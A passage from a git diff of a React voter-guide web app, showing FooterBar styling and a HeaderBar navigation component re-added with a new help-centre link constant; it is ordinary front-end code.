+ box-shadow: 0 8px 24px rgba(0,0,0,.1);
+ display: flex;
+ flex-wrap: wrap;
+ gap: 12px;
+ justify-content: center;
+ position: fixed;
+ right: 8px;
+ transition: opacity .2s ease;
+ z-index: 9999;
+`;
+
+const MenuItem = styled.div`
+ border-radius: 10px;
+ color: ${({ $active }) => ($active ? 'rgb(32, 109, 179)' : DesignTokenColors.neutralUI600)};
+ cursor: pointer;
+ align-items: center;
+ display: inline-flex;
+ flex-direction: column;
+ font-size: 16px;
+ justify-content: center;
+ line-height: 1.2;
+ min-height: 84px;
+ min-width: 88px;
+ padding: 8px 10px;
+ text-align: center;
+ svg {
+ height: 40px;
+ width: 40px;
+ margin-bottom: 6px;
+ }
+ img {
+ width: 40px;
+ }
+`;
+
+export default withStyles(styles)(FooterBar);
diff --git a/src/js/components/Navigation/HeaderBar.jsx b/src/js/components/Navigation/HeaderBar.jsx
index f38a58b1c..ae6fad670 100644
--- a/src/js/components/Navigation/HeaderBar.jsx
+++ b/src/js/components/Navigation/HeaderBar.jsx
@@ -1,1001 +1,1022 @@
-import AccountCircle from '@mui/icons-material/AccountCircle';
-import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
-import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component, Suspense } from 'react';
-import { Link } from 'react-router-dom';
-import styled from 'styled-components';
-import OrganizationActions from '../../actions/OrganizationActions';
-import VoterActions from '../../actions/VoterActions';
-import VoterGuideActions from '../../actions/VoterGuideActions';
-import LazyImage from '../../common/components/LazyImage';
-import standardBoxShadow from '../../common/components/Style/standardBoxShadow';
-import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
-import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
-import apiCalming from '../../common/utils/apiCalming';
-// import { historyPush } from '../../common/utils/cordovaUtils';
-import { normalizedHrefPage } from '../../common/utils/hrefUtils';
-import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize';
-import { renderLog } from '../../common/utils/logging';
-import voterPhoto from '../../common/utils/voterPhoto';
-import webAppConfig from '../../config';
-import AnalyticsStore from '../../stores/AnalyticsStore';
-import FacebookStore from '../../stores/FacebookStore';
-import FriendStore from '../../stores/FriendStore';
-import VoterStore from '../../stores/VoterStore';
-import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils';
-import getHeaderObjects from '../../utils/getHeaderObjects';
-import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles';
-import SignInButton from '../Widgets/SignInButton';
-import FriendsTabs from './FriendsTabs';
-import HeaderBarLogo from './HeaderBarLogo';
-import HeaderBarModals from './HeaderBarModals';
-import TabWithPushHistory from './TabWithPushHistory';
-
-const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu'));
-const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-/* global $ */
-
-// TODO: Backport "@stripe/react-stripe-js" use from Campaigns
-// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal';
-
-
-class HeaderBar extends Component {
- constructor (props) {
- super(props);
- this.state = {
- // aboutMenuOpen: false,
- chosenSiteLogoUrl: '',
- componentDidMountFinished: false,
- // friendInvitationsSentToMe: 0,
- hideWeVoteLogo: false,
- // inPrivateLabelMode: false,
- // priorPath: '',
- scrolledDown: false,
- // showOrganizationModal: false,
- showSignInModal: false,
- // showPositionDrawer: false,
- // whatAndHowMuchToShare: '',
- tabsValue: 1,
- // organizationModalBallotItemWeVoteId: '',
- page: 'non-blank-default-value',
- voter: {},
- // voterFirstName: '',
- voterIsSignedIn: false,
- };
- this.debugLogging = this.debugLogging.bind(this);
- this.toggleSignInModal = this.toggleSignInModal.bind(this);
- this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this);
- this.handleTabChange = this.handleTabChange.bind(this);
- this.handleResizeLocal = this.handleResizeLocal.bind(this);
- }
-
- componentDidMount () {
- this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg));
- this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this));
- window.addEventListener('resize', this.handleResizeLocal);
-
- const voter = VoterStore.getVoter();
- // const voterFirstName = VoterStore.getFirstName();
- const voterIsSignedIn = voter && voter.is_signed_in;
- // if (voterIsSignedIn === undefined) {
- // VoterActions.voterRetrieve();
- // }
- this.setState({
- componentDidMountFinished: true,
- chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
- // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
- hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
- scrolledDown: AppObservableStore.getScrolledDown(),
- showSignInModal: AppObservableStore.showSignInModal(),
- voter,
- // voterFirstName,
- voterIsSignedIn,
- });
- if (isWebApp()) {
- this.setStyleTimeout = setTimeout(() => {
- const headerObjects = getHeaderObjects();
- if (document.getElementById('HeaderBarLogoWrapper')) {
- headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML;
- }
- if (document.getElementById('ballotTabHeaderBar')) {
- headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML;
- }
- if (document.getElementById('candidatesTabHeaderBar')) {
- headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML;
- }
- if (document.getElementById('challengesTabHeaderBar')) {
- headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML;
- }
- if (document.getElementById('friendsTabHeaderBar')) {
- headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML;
- }
- if (document.getElementById('discussTabHeaderBar')) {
- headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML;
- }
- if (document.getElementById('donateTabHeaderBar')) {
- headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML;
- }
- if (document.getElementById('HeaderNotificationMenuWrapper')) {
- headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML;
- }
- if (document.getElementById('profileAvatarHeaderBar')) {
- headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML;
- }
- if (document.getElementById('moreTabHeaderBar')) {
- headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML;
- }
- if (document.getElementById('howItWorksTabHeaderBar')) {
- headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML;
- }
- }, 1000);
- }
- this.syncTabsToRoute();
- }
-
- componentDidUpdate () {
- // console.log('HeaderBar componentDidUpdate');
- const { page } = this.state;
- if (page !== normalizedHrefPage()) {
- this.syncTabsToRoute();
- }
- }
-
- componentDidCatch (error, info) {
- // We should get this information to Splunk!
- console.error('HeaderBar caught error: ', `${error} with info: `, info);
- }
-
- componentWillUnmount () {
- this.appStateSubscription.unsubscribe();
- this.friendStoreListener.remove();
- this.voterStoreListener.remove();
- this.analyticsStoreListener.remove();
- window.removeEventListener('resize', this.handleResizeLocal);
- if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout);
- }
-
- handleTabChange = (newValue) => {
- this.setState({ tabsValue: newValue }, () => {
- // console.log('handleTabChange ', newValue);
- this.customHighlightSelector(newValue);
- });
- };
-
- handleResizeLocal () {
- if (handleResize('HeaderBar')) {
- this.setState({});
- }
- }
-
- onFriendStoreChange () {
- // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('HeaderBar, onFriendStoreChange');
- this.setState({
- // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
- });
- }
- }
-
- onVoterStoreChange () {
- // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess'));
- // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter());
-
- if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
- // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName());
- const voter = VoterStore.getVoter();
- // const voterFirstName = VoterStore.getFirstName();
- const voterIsSignedIn = voter.is_signed_in || false;
- this.setState({
- voter,
- // voterFirstName,
- voterIsSignedIn,
- showSignInModal: AppObservableStore.showSignInModal(),
- // showOrganizationModal: AppObservableStore.showOrganizationModal(),
- // showPositionDrawer: AppObservableStore.showPositionDrawer(),
- });
- }
- }
-
- // eslint-disable-next-line no-unused-vars
- onAppObservableStoreChange (msg) {
- // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg);
- this.setState({
- chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
- hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
- // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(),
- scrolledDown: AppObservableStore.getScrolledDown(),
- // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(),
- showSignInModal: AppObservableStore.showSignInModal(),
- });
- }
-
- onAnalyticsStoreChange () {
- // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page
- // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response
- // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId());
- if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) {
- if (apiCalming('voterRetrieve', 500)) {
- // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete
- VoterActions.voterRetrieve();
- }
- }
- }
-
- syncTabsToRoute = () => {
- const nextPage = normalizedHrefPage();
- const nextValue = this.getTabsValueFromPage();
- this.setState({ tabsValue: nextValue, page: nextPage }, () => {
- this.customHighlightSelector(nextValue || false);
- });
- };
-
- getTabsValueFromPage = () => {
- const page = normalizedHrefPage();
- switch (page) {
- case 'ballot':
- return 1;
- case 'candidatelist':
- case 'politicianpage':
- return 2;
- case 'donate':
- case 'more/donate':
- return 3;
- case 'election-finder':
- case 'friends':
- case 'news':
- case 'challenges':
- case 'more':
- case 'more/faq':
- case 'managecandidates':
- case 'no-candidates-claimed':
- return 4;
- default:
- return 0;
- }
- };
-
- // goToSearch = () => {
- // historyPush('/opinions');
- // }
-
- openHowItWorksModal = () => {
- // console.log('Opening modal');
- AppObservableStore.setShowHowItWorksModal(true);
- };
-
- transitionToYourVoterGuide () {
- // Positions for this organization, for this voter/election
- OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true);
-
- // Positions for this organization, NOT including for this voter / election
- // const googleCivicElectionId = 0;
- // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) {
- OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true);
- // }
- if (apiCalming('organizationsFollowedRetrieve', 60000)) {
- OrganizationActions.organizationsFollowedRetrieve();
- }
- VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id);
- VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id);
- }
-
- debugLogging (text) {
- const isDebugLogging = false;
- if (isDebugLogging) {
- console.log(`HeaderBar shouldComponentUpdate: ${text}`);
- }
- }
-
- // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends'
- customHighlightSelector (currentValue) {
- const normal = {
- opacity: 0.7,
- fontWeight: 500,
- color: 'rgba(51, 51, 51)',
- };
- // Should use theme.colors.brandBlue instead of directly using '#2e3c5d'
- const highlight = {
- opacity: 1,
- fontWeight: 600,
- color: '#2e3c5d',
- };
-
- if (window.$) {
- // console.log('customHighlightSelector called for page: ', normalizedHrefPage());
- const ballot = $('#ballotTabHeaderBar');
- const candidates = $('#candidatesTabHeaderBar');
- const challenges = $('#challengesTabHeaderBar');
- const friends = $('#friendsTabHeaderBar');
- const news = $('#discussTabHeaderBar');
- const donate = $('#donateTabHeaderBar');
- const squads = $('#squadsTabHeaderBar');
- const more = $('#moreTabHeaderBar');
- ballot.css(normal);
- candidates.css(normal); // Candidates (not individual candidate page)
- challenges.css(normal); // Democracy Challenges
- friends.css(normal); // Friends
- news.css(normal); // Discuss
- donate.css(normal); // Donate
- squads.css(normal); // Squads
- more.css(normal); // More
-
-
- switch (normalizedHrefPage()) {
- case 'ballot':
- ballot.css(highlight);
- break;
- case 'candidatelist': // displays same page as "cs"
- candidates.css(highlight);
- break;
- case 'donate':
- case 'more/donate':
- donate.css(highlight);
- break;
- case 'challenges':
- case 'election-finder':
- case 'more/faq':
- case 'friends':
- case 'managecandidates':
- case 'no-candidates-claimed':
- case 'more':
- case 'news':
- case 'squads':
- more.css(highlight);
- break;
- case 'politicianpage':
- candidates.css(highlight);
- break;
- default:
- break;
- }
- if (currentValue === 4) {
- more.css(highlight);
- }
- } else {
- setTimeout(() => {
- console.log('customHighlightSelector purposefully called recursively');
- this.customHighlightSelector(currentValue);
- }, 500);
- }
-
- this.setState({ page: normalizedHrefPage() });
- }
-
- goToSettings () {
- console.log('goToSettings IN HeaderBar setDrawerOpen');
- AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true);
- }
-
- toggleSignInModal () {
- const { showSignInModal } = this.state;
- // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal);
- AppObservableStore.setShowSignInModal(!showSignInModal);
- this.setState({
- showSignInModal: !showSignInModal,
- });
- }
-
- render () {
- renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders
- if (!this.state.componentDidMountFinished) {
- // console.log('HeaderBar suppressed for !componentDidMountFinished');
- return null;
- }
-
- if (window.leanLoadForChromeExtension) {
- // console.log('HeaderBar suppressed for Chrome Extension');
- return null; // No header on the iFramed pages for the Chrome Extension
- }
-
- const { classes } = this.props;
- const {
- chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown,
- voter, voterIsSignedIn, tabsValue,
- } = this.state;
- const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason
- // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode);
- const voterPhotoUrlMedium = voterPhoto(voter);
-
- const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo;
- const showWeVoteLogo = !doNotShowWeVoteLogo;
-
- const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends'
- let avatarStyle = {};
- if (isCordova()) {
- avatarStyle = { marginBottom: 2 };
- }
- if (isSmallTablet()) {
- avatarStyle = { ...avatarStyle, paddingRight: 10 };
- }
- // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow());
- const displayMenu = !isMobileScreenSize() || isTablet();
- // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet());
- let donateValue;
- let donateVisible;
- let moreValue;
- if (inPrivateLabelMode) {
- donateValue = 3;
- donateVisible = false;
- moreValue = 3;
- } else {
- donateValue = 3;
- donateVisible = true;
- moreValue = 4;
- }
-
- // console.log('HeaderBar !isMobileScreenSize()', displayMenu);
- // console.log('normalizedHrefPage():', normalizedHrefPage());
- return (
-
-
- {/*
-
-
- );
- }
-}
-HeaderBar.propTypes = {
- classes: PropTypes.object,
-};
-
-const styles = (theme) => {
- const tabBase = {
- color: 'rgba(51, 51, 51, 0.7)',
- fontSize: 18,
- minWidth: 90,
- opacity: 0.7,
- paddingTop: 17,
- '&.Mui-selected': {
- color: '#2e3c5d',
- fontWeight: 600,
- opacity: 1,
- },
- };
- const tabSelected = {
- color: '#2e3c5d',
- fontWeight: 600,
- opacity: 1,
- };
-
- return {
- tabRoot: { ...tabBase },
- tabRootMore: { ...tabBase },
- tabSelected: { ...tabSelected },
-
- padding: {
- padding: `0 ${theme.spacing(2)}px`,
- },
- moreLabel: {
- alignItems: 'center',
- display: 'flex',
- gap: 4,
- lineHeight: 1,
- },
- tabMoreIcon: {
- color: 'inherit',
- fontSize: 22,
- },
-
- addressButtonRoot: {
- '&:hover': {
- backgroundColor: 'transparent',
- },
- color: 'rgba(17, 17, 17, .5)',
- outline: 'none !important',
- paddingRight: 6,
- [theme.breakpoints.up('sm')]: {
- paddingLeft: 0,
- },
- [theme.breakpoints.down('sm')]: {
- paddingTop: 6,
- marginLeft: 2,
- paddingLeft: 0,
- },
- },
- addressIconButtonRoot: {
- paddingTop: 1,
- paddingRight: 6,
- paddingBottom: 3,
- paddingLeft: 0,
- color: 'rgba(17, 17, 17, .4)',
- outline: 'none !important',
- '&:hover': {
- backgroundColor: 'transparent',
- },
- [theme.breakpoints.up('sm')]: {
- paddingRight: 2,
- },
- },
- iconButtonRoot: {
- paddingTop: 1,
- paddingRight: 0,
- paddingBottom: 3,
- paddingLeft: 0,
- color: 'rgba(17, 17, 17, .4)',
- outline: 'none !important',
- '&:hover': {
- backgroundColor: 'transparent',
- },
- },
- searchButtonRoot: {
- '&:hover': {
- backgroundColor: 'transparent',
- },
- color: 'rgba(17, 17, 17, .5)',
- outline: 'none !important',
- paddingTop: 0,
- paddingRight: 0,
- [theme.breakpoints.up('sm')]: {
- paddingLeft: 0,
- },
- [theme.breakpoints.down('sm')]: {
- marginLeft: 2,
- paddingLeft: 0,
- },
- },
- tooltipPlacementBottom: {
- marginTop: 0,
- },
- tabRootBallot: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
- fontSize: 24,
- },
- },
- tabRootBallotDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootBlog: {
- color: 'rgba(51, 51, 51, 0.7)',
- },
- tabRootCandidates: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops
- fontSize: 24,
- },
- },
- tabRootCandidatesDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootDonate: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootDonateDesktop: {
- fontSize: 18,
- minWidth: 70,
- paddingTop: 17,
- },
- tabRootFriends: {
- minWidth: 90,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootFriendsDesktop: {
- fontSize: 18,
- minWidth: 90,
- paddingTop: 17,
- },
- tabRootNews: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- tabRootNewsDesktop: {
- fontSize: 18,
- minWidth: 70,
- paddingTop: 17,
- },
- tabRootHowItWorks: {
- minWidth: 70,
- [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets
- minWidth: 0,
- fontSize: 20,
- padding: '16px 8px 10px 8px',
- },
- [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets
- fontSize: 20,
- padding: '16px 16px 10px 16px',
- },
- [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop
- fontSize: 24,
- },
- },
- };
-};
-
-const HeaderBarWrapper = styled.div.attrs({
- className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page
- shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop),
-})(({ scrolledDown, hasSubmenu }) => (`
- box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')};
- border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'};
- padding-left: calc(100vw - 100%);
-`));
-
-const StyledHeaderMenuTabs = styled(Tabs)`
- // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())};
-`;
-const StyledMoreMenu = styled(Menu)`
- .MuiPaper-root {
- border-radius: 8px;
- box-shadow: ${standardBoxShadow('wide')};
- margin-top: 8px;
- min-width: 200px;
- }
-`;
-
-const StyledMoreMenuItem = styled(MenuItem)`
- color: rgba(51, 51, 51, 0.7);
- font-size: 18px;
- font-weight: 500;
- line-height: 1.2;
- opacity: 1;
- padding: 12px 16px;
- position: relative;
-
- &:hover {
- background: rgba(46, 60, 93, 0.06);
- }
-
- &.Mui-selected,
- &.Mui-selected:hover {
- background: transparent;
- color: #2e3c5d;
- font-weight: 600;
- opacity: 1;
- }
-`;
-
-export default withStyles(styles)(HeaderBar);
+import AccountCircle from '@mui/icons-material/AccountCircle';
+import ExpandMoreIcon from '@mui/icons-material/ExpandMore';
+import { IconButton, Menu, MenuItem, Tab, Tabs } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import { Link } from 'react-router-dom';
+import styled from 'styled-components';
+import OrganizationActions from '../../actions/OrganizationActions';
+import VoterActions from '../../actions/VoterActions';
+import VoterGuideActions from '../../actions/VoterGuideActions';
+import LazyImage from '../../common/components/LazyImage';
+import standardBoxShadow from '../../common/components/Style/standardBoxShadow';
+import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
+import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
+import apiCalming from '../../common/utils/apiCalming';
+// import { historyPush } from '../../common/utils/cordovaUtils';
+import { normalizedHrefPage } from '../../common/utils/hrefUtils';
+import { isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
+import isMobileScreenSize, { handleResize, isSmallTablet, isTablet } from '../../common/utils/isMobileScreenSize';
+import { renderLog } from '../../common/utils/logging';
+import voterPhoto from '../../common/utils/voterPhoto';
+import webAppConfig from '../../config';
+import AnalyticsStore from '../../stores/AnalyticsStore';
+import FacebookStore from '../../stores/FacebookStore';
+import FriendStore from '../../stores/FriendStore';
+import VoterStore from '../../stores/VoterStore';
+import { avatarGeneric, displayTopMenuShadow, weVoteBrandingOff } from '../../utils/applicationUtils';
+import getHeaderObjects from '../../utils/getHeaderObjects';
+import { TopOfPageHeader, TopRowOneLeftContainer, TopRowOneMiddleContainer, TopRowOneRightContainer, TopRowTwoLeftContainer } from '../Style/pageLayoutStyles';
+import SignInButton from '../Widgets/SignInButton';
+import FriendsTabs from './FriendsTabs';
+import HeaderBarLogo from './HeaderBarLogo';
+import HeaderBarModals from './HeaderBarModals';
+import TabWithPushHistory from './TabWithPushHistory';
+
+const HeaderNotificationMenu = React.lazy(() => import(/* webpackChunkName: 'HeaderNotificationMenu' */ './HeaderNotificationMenu'));
+const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
+const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
+const weVoteHelpUrl = 'https://help.wevote.us/hc/en-us';
+
+/* global $ */
+
+// TODO: Backport "@stripe/react-stripe-js" use from Campaigns
+// import PaidAccountUpgradeModal from '../Settings/PaidAccountUpgradeModal';
+
+
+class HeaderBar extends Component {
+ constructor (props) {
+ super(props);
+ this.state = {
+ // aboutMenuOpen: false,
+ chosenSiteLogoUrl: '',
+ componentDidMountFinished: false,
+ // friendInvitationsSentToMe: 0,
+ hideWeVoteLogo: false,
+ // inPrivateLabelMode: false,
+ // priorPath: '',
+ scrolledDown: false,
+ // showOrganizationModal: false,
+ showSignInModal: false,
+ // showPositionDrawer: false,
+ // whatAndHowMuchToShare: '',
+ tabsValue: 1,
+ // organizationModalBallotItemWeVoteId: '',
+ page: 'non-blank-default-value',
+ voter: {},
+ // voterFirstName: '',
+ voterIsSignedIn: false,
+ };
+ this.debugLogging = this.debugLogging.bind(this);
+ this.toggleSignInModal = this.toggleSignInModal.bind(this);
+ this.transitionToYourVoterGuide = this.transitionToYourVoterGuide.bind(this);
+ this.handleTabChange = this.handleTabChange.bind(this);
+ this.handleResizeLocal = this.handleResizeLocal.bind(this);
+ }
+
+ componentDidMount () {
+ this.appStateSubscription = messageService.getMessage().subscribe((msg) => this.onAppObservableStoreChange(msg));
+ this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
+ this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
+ this.analyticsStoreListener = AnalyticsStore.addListener(this.onAnalyticsStoreChange.bind(this));
+ window.addEventListener('resize', this.handleResizeLocal);
+
+ const voter = VoterStore.getVoter();
+ // const voterFirstName = VoterStore.getFirstName();
+ const voterIsSignedIn = voter && voter.is_signed_in;
+ // if (voterIsSignedIn === undefined) {
+ // VoterActions.voterRetrieve();
+ // }
+ this.setState({
+ componentDidMountFinished: true,
+ chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(),
+ // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(),
+ hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(),
+ // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason
+ scrolledDown: AppObservableStore.getScrolledDown(),
+ showSignInModal: AppObservableStore.showSignInModal(),
+ voter,
+ // voterFirstName,
+ voterIsSignedIn,
+ });
+ if (isWebApp()) {
+ this.setStyleTimeout = setTimeout(() => {
+ const headerObjects = getHeaderObjects();
+ if (document.getElementById('HeaderBarLogoWrapper')) {
+ headerObjects.logo = document.getElementById('HeaderBarLogoWrapper').innerHTML;
+ }
+ if (document.getElementById('ballotTabHeaderBar')) {
+ headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('candidatesTabHeaderBar')) {
+ headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('challengesTabHeaderBar')) {
+ headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('friendsTabHeaderBar')) {
+ headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('discussTabHeaderBar')) {
+ headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('donateTabHeaderBar')) {
+ headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('HeaderNotificationMenuWrapper')) {
+ headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML;
+ }
+ if (document.getElementById('profileAvatarHeaderBar')) {
+ headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML;
+ }
+ if (document.getElementById('moreTabHeaderBar')) {
+ headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML;
+ }
+ if (document.getElementById('howItWorksTabHeaderBar')) {
+ headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML;
+ }
+ }, 1000);
+ }
+ this.syncTabsToRoute();
+ }
+
+ componentDidUpdate () {
+ // console.log('HeaderBar componentDidUpdate');
+ const { page } = this.state;
